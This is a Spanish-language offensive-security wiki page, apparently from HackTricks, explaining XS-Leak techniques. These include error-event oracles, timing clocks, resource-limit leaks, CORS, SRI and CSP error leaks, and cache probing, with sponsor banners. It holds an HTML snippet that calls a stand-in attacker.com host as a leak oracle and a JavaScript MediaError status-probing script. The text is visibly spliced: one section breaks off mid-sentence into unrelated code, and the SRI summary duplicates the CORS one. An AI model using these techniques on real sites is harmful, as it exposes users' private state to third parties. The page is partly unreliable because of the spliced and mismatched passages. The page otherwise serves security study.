# XS-Search/XS-Leaks

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias **más avanzadas** del mundo.\
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>Aprende hacking en AWS desde cero hasta héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## **Información Básica**

XS-Search es una técnica orientada a **exfiltrar información de origen cruzado** abusando de **ataques de canal lateral**.

Hay diferentes elementos en este tipo de ataque:

* **Web Vulnerable**: Es la web de la que queremos exfiltrar información.
* **Web del Atacante**: Es la web que el atacante crea conteniendo el exploit y a la que accede la víctima.
* **Método de Inclusión**: Es el método utilizado para cargar la Web Vulnerable desde la web del atacante (como window.open, iframe, fetch, etiqueta HTML con href...).
* **Técnica de Leak**: Después de acceder a la web vulnerable, se utilizará una técnica para diferenciar entre los posibles estados de la web con la información obtenida del método de inclusión utilizado.
* **Estados**: Los 2 posibles estados que puede tener la web vulnerable dependiendo de la víctima que queremos diferenciar.
* **Diferencias Detectables**: Esta es la información que el atacante tiene que intentar decidir el estado de la web vulnerable.

### Diferencias Detectables

Para distinguir entre los 2 estados de la página vulnerable se pueden observar varias cosas:

* **Código de Estado**. Un atacante puede distinguir **diferentes códigos de estado de respuesta HTTP** de origen cruzado (por ejemplo, errores de servidor, errores de cliente o errores de autenticación).
* **Uso de API**. Esta diferencia detectable permite a un atacante detectar **el uso de APIs Web** a través de páginas, permitiéndole inferir si una página de origen cruzado está utilizando una API Web de JavaScript específica.
* **Redirecciones**. Es posible detectar si una aplicación web ha **navegado al usuario a una página diferente**. Esto no se limita a redirecciones HTTP, sino que también incluye redirecciones activadas por JavaScript o HTML.
* **Contenido de la Página**. Estas diferencias detectables aparecen en el cuerpo de la respuesta HTTP en sí o en sub-recursos incluidos por la página. Por ejemplo, esto podría ser el **número de frames incluidos** (cf. XS-Leak en Gitlab) o diferencias de tamaño de imágenes.
* **Encabezado HTTP**. Un atacante puede detectar la presencia de un **encabezado de respuesta HTTP específico** y puede ser capaz de recopilar su valor. Esto incluye encabezados como X-Frame-Options, Content-Disposition y Cross-Origin-Resource-Policy.
* **Tiempo**: Un atacante puede detectar que existe una diferencia de tiempo consistente entre 2 estados.

### Métodos de Inclusión

* **Elementos HTML**. HTML ofrece una variedad de elementos que permiten **la inclusión de recursos de origen cruzado**. Elementos como hojas de estilo, imágenes o scripts, obligan al navegador de la víctima a solicitar un recurso no HTML especificado. Hay una lista que enumera posibles elementos HTML para este propósito disponible en línea ([https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)).
* **Frames**. Elementos como **iframe**, **object** y **embed** pueden incrustar recursos HTML directamente en la página del atacante. Si la página **no utiliza protección contra frames**, el código JavaScript puede acceder al objeto window del recurso enmarcado a través de la propiedad contentWindow.
* **Pop-ups**. El método **`window.open`** carga un recurso en una nueva pestaña o ventana del navegador. El método devuelve un **manejador de ventana** que el código JavaScript puede usar para acceder a métodos y propiedades, que cumplen con la SOP. Estos pop-ups a menudo se utilizan en el inicio de sesión único. Los navegadores modernos solo permiten pop-ups si son activados por ciertas interacciones del usuario. Para los ataques XS-Leak, este método es especialmente útil porque **evita las restricciones de framing y cookies para un recurso objetivo**. Las versiones más recientes de los navegadores agregaron recientemente medios para aislar los manejadores de ventana.
* **Solicitudes JavaScript**. JavaScript permite enviar solicitudes directamente a recursos objetivo. Hay dos formas diferentes para este propósito: **XMLHttpRequests** y su sucesor **Fetch API**. A diferencia de los métodos de inclusión anteriores, un atacante tiene un control detallado sobre la solicitud emitida, por ejemplo, si se debe seguir automáticamente una redirección HTTP.

### Técnicas de Leak

* **Manejador de Eventos**. El manejador de eventos puede considerarse como la técnica de leak clásica para XS-Leaks. Son una fuente bien conocida de varias piezas de información. Por ejemplo, el disparo de **onload** indica una carga de recurso **exitosa** en contraste con el evento onerror.
* **Mensajes de Error**. Más allá de los manejadores de eventos, los mensajes de error pueden ocurrir como **excepciones de JavaScript** y **páginas de error especiales**. Los mensajes de error pueden ser lanzados en diferentes pasos, por ejemplo, directamente por la técnica de leak. La técnica de leak puede usar **información adicional** directamente **contenida** en el **mensaje de error**, o distinguir entre la **aparición y ausencia de un mensaje de error**.
* **Límites Globales**. Cada computadora tiene sus límites físicos, lo mismo ocurre con un navegador. Por ejemplo, la cantidad de memoria disponible limita las pestañas en ejecución de un navegador. Lo mismo ocurre con otros límites del navegador que se aplican a todo el navegador. Si un atacante puede determinar **cuándo se alcanza el límite, esto se puede usar como una técnica de leak**.
* **Estado Global**. Los navegadores tienen **estados globales con los que todas las páginas pueden interactuar**. Si esta interacción es detectable desde el sitio web del atacante, se puede usar como una técnica de leak. Por ejemplo, la interfaz **History** permite la manipulación de las páginas visitadas en una pestaña o frame. Esto crea un estado global porque el **número de entradas** permite a un atacante sacar conclusiones sobre páginas de origen cruzado.
* **API de Rendimiento**. La API de Rendimiento se utiliza para acceder a la **información de rendimiento de la página actual**. Sus entradas incluyen datos detallados de tiempo de red para el documento y cada recurso cargado por la página. Esto permite a un atacante sacar **conclusiones sobre los recursos solicitados**. Por ejemplo, identificamos casos en los que los navegadores no crearán entradas de rendimiento para algunas solicitudes.
* **Atributos Legibles**. HTML tiene varios **atributos que son legibles de origen cruzado**. Este acceso de lectura se puede utilizar como una técnica de leak. Por ejemplo, el código JavaScript puede leer el número de frames incluidos en una página web de origen cruzado con la propiedad window.frame.length.

#### **Técnicas Basadas en Tiempo**

Algunas de las siguientes técnicas van a usar el tiempo como parte del proceso para detectar diferencias en los posibles estados de las páginas web. Hay diferentes formas de medir el tiempo en un navegador web.

**Relojes**: La API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) permite a los desarrolladores obtener mediciones de tiempo de alta resolución.\
Hay un número considerable de APIs que los atacantes pueden abusar para crear relojes implícitos: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animaciones CSS y otros.\
Para más información: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).

## XSinator

XSinator es una herramienta automática para **comprobar navegadores contra varios XS-Leaks conocidos** explicados en su artículo: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)\
Puedes acceder a la herramienta en [https://xsinator.com/](https://xsinator.com/)

{% hint style="warning" %}
**XS-Leaks Excluidos**: Tuvimos que excluir XS-Leaks que dependen de **service workers** ya que interferirían con otros leaks en XSinator. Además, elegimos **excluir XS-Leaks que dependen de la mala configuración y errores en una aplicación web específica**. Por ejemplo, configuraciones erróneas de CrossOrigin Resource Sharing (CORS), fugas de postMessage o Cross-Site Scripting. Además, excluimos XS-Leaks basados en tiempo ya que a menudo sufren de ser lentos, ruidosos e inexactos.
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias **más avanzadas** del mundo.\
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Técnicas de Manejador de Eventos

### Onload/Onerror

* **Métodos de Inclusión**: Frames, Elementos HTML
* **Diferencia Detectable**: Código de Estado
* **Más información**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **Resumen**: si al intentar cargar un recurso se activan los eventos onerror/onload cuando el recurso se carga con éxito/fracaso, es posible determinar el código de estado.
* **Ejemplo de código**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}

El ejemplo de código intenta **cargar objetos de scripts desde JS**, pero **otros tags** como objetos, hojas de estilo, imágenes, audios también podrían ser utilizados. Además, también es posible inyectar el **tag directamente** y declarar los eventos `onload` y `onerror` dentro del tag (en lugar de inyectarlo desde JS).

También hay una versión sin scripts de este ataque:
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
En este caso, si `example.com/404` no se encuentra, se cargará `attacker.com/?error`.

### Tiempo de Carga Onload

* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Resumen**: La API [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) se puede utilizar para medir cuánto tiempo toma realizar una solicitud. Sin embargo, se podrían usar otros relojes, como la [**API PerformanceLongTaskTiming**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) que puede identificar tareas que se ejecutan por más de 50 ms.
* **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) otro ejemplo en:

{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}

#### Tiempo de Carga Onload + Tarea Pesada Forzada

Esta técnica es como la anterior, pero el **atacante** también **forzará** alguna acción para que tome un **tiempo relevante** cuando la **respuesta sea positiva o negativa** y medir ese tiempo.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}

### Tiempo de descarga/beforeunload

* **Métodos de Inclusión**: Marcos
* **Diferencia Detectable**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Resumen**: El reloj [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) se puede utilizar para medir cuánto tiempo toma realizar una solicitud. Se podrían usar otros relojes.
* **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

Los eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) y [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) se pueden utilizar para medir el tiempo que toma obtener un recurso. Esto funciona porque **`beforeunload`** se activa cuando el navegador **solicita una nueva navegación**, mientras que **`unload`** se activa cuando esa **navegación realmente ocurre**. Debido a este comportamiento, es posible calcular la diferencia de tiempo entre estos dos eventos y medir el **tiempo que tardó el navegador en completar la obtención del recurso**.

### Tiempo de Carga en Marco Aislado + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

* **Métodos de Inclusión**: Marcos
* **Diferencia Detectable**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Resumen**: La API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) se puede utilizar para medir cuánto tiempo toma realizar una solicitud. Se podrían usar otros relojes.
* **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

Si una página no tiene [Protecciones de Enmarcado](https://xsleaks.dev/docs/defenses/opt-in/xfo/) implementadas, un atacante puede medir cuánto tiempo toma cargar la página y todos los subrecursos a través de la red. Por defecto, el manejador `onload` para un iframe se invoca después de que todos los recursos se han cargado y todo el JavaScript ha terminado de ejecutarse. Pero, un atacante puede eliminar el ruido de la ejecución de scripts incluyendo el atributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) en el `<iframe>`. Este atributo bloquea muchas características incluyendo la ejecución de JavaScript, lo que resulta en una medición de red casi pura.

### #ID + error + onload

* **Métodos de Inclusión**: Marcos
* **Diferencia Detectable**: Contenido de la Página
* **Más información**:
* **Resumen**: Si puedes hacer que la página de error cuando se accede al contenido correcto y hacer que se cargue correctamente cuando se accede a cualquier contenido, entonces puedes hacer un bucle para extraer toda la información sin medir el tiempo.
* **Ejemplo de Código**:

Supongamos que puedes **insertar** la **página** que tiene el contenido **secreto dentro de un Iframe**.

Puedes **hacer que la víctima busque** el archivo que contiene "_**flag**_" usando un **Iframe** (explotando un CSRF, por ejemplo). Dentro del Iframe sabes que el _**evento onload**_ se **ejecutará siempre al menos una vez**. Entonces, puedes **cambiar** la **URL** del **iframe** pero cambiando solo el **contenido** del **hash** dentro de la URL.

Por ejemplo:

1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2

Si la primera URL se **cargó con éxito**, entonces, al **cambiar** la parte del **hash** de la URL el evento **onload** **no se activará** nuevamente. Pero **si** la página tuvo algún tipo de **error** al **cargarse**, entonces, el evento **onload** se **activará nuevamente**.

Entonces, puedes **distinguir entre** una página cargada **correctamente** o una página que tiene un **error** cuando se accede.

### Ejecución de Javascript

* **Métodos de Inclusión**: Marcos
* **Diferencia Detectable**: Contenido de la Página
* **Más información**:
* **Resumen**: Si la **página** está **devolviendo** el contenido **sensible**, **o** un contenido que puede ser **controlado** por el usuario. El usuario podría establecer **código JS válido en el caso negativo**, y **cargar** cada intento dentro de etiquetas **`<script>`**, por lo que en casos **negativos** el código del atacante **se ejecuta**, y en casos **afirmativos** **nada** se ejecutará.
* **Ejemplo de Código**:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}

### CORB - Onerror

* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Código de Estado y Encabezados
* **Más información**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Resumen**: Los atacantes pueden observar cuando se aplica CORB si una respuesta devuelve un `Content-Type` _protegido por CORB_ (y `nosniff`) con el código de estado `2xx` lo que resulta en que CORB elimine el cuerpo y los encabezados de la respuesta. Detectar esta protección permite a un atacante **filtrar** la combinación del **código de estado** (éxito vs. error) y el **`Content-Type` (protegido por CORB o no).**
* **Ejemplo de Código**:

Consulta el enlace de más información para más detalles sobre el ataque.

### onblur

* **Métodos de Inclusión**: Marcos
* **Diferencia Detectable**: Contenido de la Página
* **Más información**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **Resumen**: Filtrar datos sensibles del atributo id o name.
* **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)

Es posible **cargar una página** dentro de un **iframe** y usar el **`#id_value`** para hacer que la página **se enfoque en el elemento** del iframe con el id indicado, entonces si se activa una señal de **`onblur`**, el elemento ID existe.\
Puedes realizar el mismo ataque con etiquetas **`portal`**.

### Difusiones de postMessage <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>

* **Métodos de Inclusión**: Marcos, Pop-ups
* **Diferencia Detectable**: Uso de API
* **Más información**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Resumen**: Recopilar información sensible de un postMessage o usar la presencia de postMessages como un oráculo para conocer el estado del usuario en la página
* **Ejemplo de Código**: `Cualquier código que escuche todos los postMessages.`

Las aplicaciones a menudo usan [difusiones de postMessage](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para compartir información con otros orígenes. Escuchando estos mensajes se podría encontrar **información sensible** (potencialmente si no se usa el parámetro `targetOrigin`). Además, el hecho de recibir algún mensaje puede ser **utilizado como un oráculo** (solo recibes este tipo de mensaje si estás conectado).

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
Obtén Acceso Hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Técnicas de Límites Globales

### API de WebSocket

* **Métodos de Inclusión**: Marcos, Pop-ups
* **Diferencia Detectable**: Uso de API
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Resumen**: Agotar el límite de conexiones WebSocket filtra el número de conexiones WebSocket de una página de origen cruzado.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))

Es posible identificar si, y cuántas, **conexiones WebSocket utiliza una página objetivo**. Permite a un atacante detectar estados de aplicación y filtrar información relacionada con el número de conexiones WebSocket.

Si un **origen** utiliza la **cantidad máxima de objetos de conexión WebSocket**, independientemente de su estado de conexión, la creación de **nuevos objetos resultará en excepciones de JavaScript**. Para ejecutar este ataque, el sitio web del atacante abre el sitio web objetivo en un pop-up o iframe y luego, después de que la web objetivo se ha cargado, intenta crear el número máximo de conexiones WebSocket posibles. El **número de excepciones lanzadas** es el **número de conexiones WebSocket utilizadas por la ventana del sitio web objetivo**.

### API de Pago

* **Métodos de Inclusión**: Marcos, Pop-ups
* **Diferencia Detectable**: Uso de API
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Resumen**: Detectar Solicitud de Pago porque solo una puede estar activa a la vez.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)

Este XS-Leak permite a un atacante **detectar cuando una página de origen cruzado inicia una solicitud de pago**.

Debido a que **solo se puede activar una solicitud de pago a la vez**, si el sitio web objetivo está utilizando la API de Solicitud de Pago, cualquier **intento posterior de mostrar esta API fallará**, y causará una **excepción de JavaScript**. El atacante puede explotar esto **intentando mostrar periódicamente la interfaz de usuario de la API de Pago**. Si un intento causa una excepción, el sitio web objetivo la está utilizando actualmente. El atacante puede ocultar estos intentos periódicos cerrando inmediatamente la interfaz de usuario después de su creación.

### Medir el Bucle de Eventos <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>

* **Métodos de Inclusión**:
* **Diferencia Detectable**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **Resumen**: Medir el tiempo de ejecución de una web abusando del bucle de eventos JS de un solo hilo.
* **Ejemplo de Código**:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

El modelo de concurrencia de JavaScript se basa en un [bucle de eventos de un solo hilo](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) lo que significa que **solo puede ejecutar una tarea a la vez**.\
Inferir **cuánto tiempo tarda en ejecutarse el código de un origen diferente** midiendo cuánto tiempo **tarda en ejecutarse a continuación en el grupo de eventos**. El atacante sigue enviando eventos al bucle de eventos con propiedades fijas, que eventualmente se despacharán si el grupo está vacío. Otros orígenes envían eventos al mismo grupo, y aquí es donde un **atacante infiere la diferencia de tiempo detectando si ocurrió un retraso con una de sus tareas**.

{% hint style="warning" %}
En un tiempo de ejecución es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
{% endhint %}

### Bucle de Eventos Ocupado <a href="#busy-event-loop" id="busy-event-loop"></a>

* **Métodos de Inclusión**:
* **Diferencia Detectable**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Resumen**: Medir el tiempo de ejecución de una web bloqueando el bucle de eventos de un hilo y midiendo **cuánto tiempo tarda el bucle de eventos en estar disponible nuevamente**.
* **Ejemplo de Código**:

Una de las principales ventajas de esta técnica es su capacidad para eludir la Aislamiento de Sitio, ya que un origen atacante puede influir en la ejecución de otro origen.

{% hint style="warning" %}
En un tiempo de ejecución es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
{% endhint %}

### Grupo de Conexiones

* **Métodos de Inclusión**: Solicitudes JavaScript
* **Diferencia Detectable**: Tiempo (generalmente debido al Contenido de la Página,
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
```
La propiedad message de la interfaz **`MediaError`** contiene una **cadena diferente para recursos que se cargan con éxito**. Esto permite a un atacante inferir el estado de la respuesta para un recurso de origen cruzado.

### Error CORS

* **Métodos de Inclusión**: Fetch API
* **Diferencia Detectable**: Encabezado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Resumen:** En SA los mensajes de error CORS revelan la URL completa de las redirecciones.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

Esta técnica permite a un atacante revelar el objetivo de una redirección que es iniciada por un sitio de origen cruzado.

CORS permite que recursos web públicamente accesibles sean leídos y utilizados desde cualquier sitio web. En navegadores basados en Webkit, es posible **acceder a mensajes de error CORS cuando una solicitud CORS falla**. Un atacante puede enviar una solicitud habilitada para CORS a un sitio objetivo que **redirige** basado en el estado del usuario. Cuando el navegador niega la solicitud, la **URL completa del objetivo de la redirección se revela** en el mensaje de error. Con este ataque, es posible detectar redirecciones, revelar ubicaciones de redirección y parámetros de consulta sensibles.

### Error SRI

* **Métodos de Inclusión**: Fetch API
* **Diferencia Detectable**: Encabezado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Resumen:** En SA los mensajes de error CORS revelan la URL completa de las redirecciones.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

Un atacante puede revelar el tamaño de las respuestas de origen cruzado debido a **mensajes de error detallados**.

El atributo de integridad define un hash criptográfico por el cual el navegador puede verificar que un recurso obtenido no ha sido manipulado. Este mecanismo de seguridad se llama Integridad de Subrecursos (SRI). Se utiliza para la verificación de integridad de recursos servidos desde redes de entrega de contenido (CDNs). Para prevenir fugas de datos, los recursos de origen cruzado deben ser **habilitados para CORS**. De lo contrario, la respuesta no es elegible para validación de integridad. Similar al error CORS XS-Leak, es posible capturar el **mensaje de error después de que una solicitud fetch con un atributo de integridad falla**. Un atacante puede forzar **intencionalmente** este **error** en cualquier solicitud especificando un **valor de hash falso**. En SA, este mensaje de error revela la longitud del contenido del recurso solicitado. Un atacante puede usar esta fuga para detectar diferencias en el tamaño de la respuesta, lo que permite ataques XS-Leak poderosos.

### Violación/Detección de CSP

* **Métodos de Inclusión**: Pop-ups
* **Diferencia Detectable**: Código de Estado
* **Más información**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Resumen:** Permitiendo solo el sitio web de las víctimas en el CSP si intentamos acceder a él y trata de redirigir a un dominio diferente, el CSP activará un error detectable.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

Un XS-Leak puede usar el CSP para detectar si un sitio de origen cruzado fue redirigido a un origen diferente. Esta fuga puede detectar la redirección, pero además, se revela el dominio del objetivo de la redirección. La idea básica de este ataque es **permitir el dominio objetivo en el sitio del atacante**. Una vez que se emite una solicitud al dominio objetivo, este **redirige** a un dominio de origen cruzado. **CSP bloquea** el acceso a él y crea un **informe de violación utilizado como técnica de fuga**. Dependiendo del navegador, **este informe puede revelar la ubicación objetivo de la redirección**.\
Los navegadores modernos no indicarán la URL a la que se redirigió, pero aún se puede detectar que se activó una redirección de origen cruzado.

### Cache

* **Métodos de Inclusión**: Frames, Pop-ups
* **Diferencia Detectable**: Contenido de la Página
* **Más información**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Resumen:** Limpiar el archivo de la caché. Abre la página objetivo y verifica si el archivo está presente en la caché.
* **Ejemplo de Código**:

Los navegadores pueden usar una caché compartida para todos los sitios web. Independientemente de su origen, es posible deducir si una página objetivo ha **solicitado un archivo específico**.

Si una página carga una imagen solo si el usuario está conectado, puedes **invalidar** el **recurso** (para que ya no esté en caché si lo estaba, ver más información en los enlaces), **realizar una solicitud** que podría cargar ese recurso e intentar cargar el recurso **con una mala solicitud** (por ejemplo, usando un encabezado referer demasiado largo). Si la carga del recurso **no activó ningún error**, es porque estaba **en caché**.

### Directiva CSP

* **Métodos de Inclusión**: Frames
* **Diferencia Detectable**: Encabezado
* **Más información**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Resumen:** Las directivas de encabezado CSP pueden ser sondeadas con el atributo CSP del iframe.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

Una nueva característica en GC permite a las páginas web proponer un CSP estableciendo un atributo en un elemento iframe. Las directivas de política se transmiten junto con la solicitud HTTP. Normalmente, el contenido incrustado debe permitir esto explícitamente con un encabezado HTTP, **de lo contrario se muestra una página de error**. Sin embargo, si el iframe ya tiene un CSP y la nueva política no es más estricta, la página se mostrará normalmente.

